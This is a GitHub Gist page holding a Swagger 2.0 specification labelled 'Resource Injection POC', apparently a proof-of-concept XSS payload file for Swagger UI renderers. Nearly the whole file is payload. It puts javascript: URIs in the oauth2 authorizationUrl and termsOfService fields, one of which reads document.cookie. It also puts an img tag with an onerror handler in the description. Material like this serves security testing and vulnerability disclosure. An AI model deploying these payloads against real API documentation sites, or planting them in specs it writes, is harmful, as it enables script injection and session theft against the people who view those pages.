Skip to content

Instantly share code, notes, and snippets.

@sh4nx0r
Last active June 26, 2024 11:07
Show Gist options
  • Save sh4nx0r/4ac3d9bdbe61ab783c65c1c8d5de46e0 to your computer and use it in GitHub Desktop.
Save sh4nx0r/4ac3d9bdbe61ab783c65c1c8d5de46e0 to your computer and use it in GitHub Desktop.
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: Resource Injection POC
description: <h1>Iframe Injection</h1><img src="https://miro.medium.com/v2/resize:fit:743/1*N6OtdkXNnYYyDhaQkG8Ydg.jpeg" onerror=alert(1)>
termsOfService: "javascript:alert(document.cookie)"
paths:
/:
get:
responses:
200:
description: Successful response
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment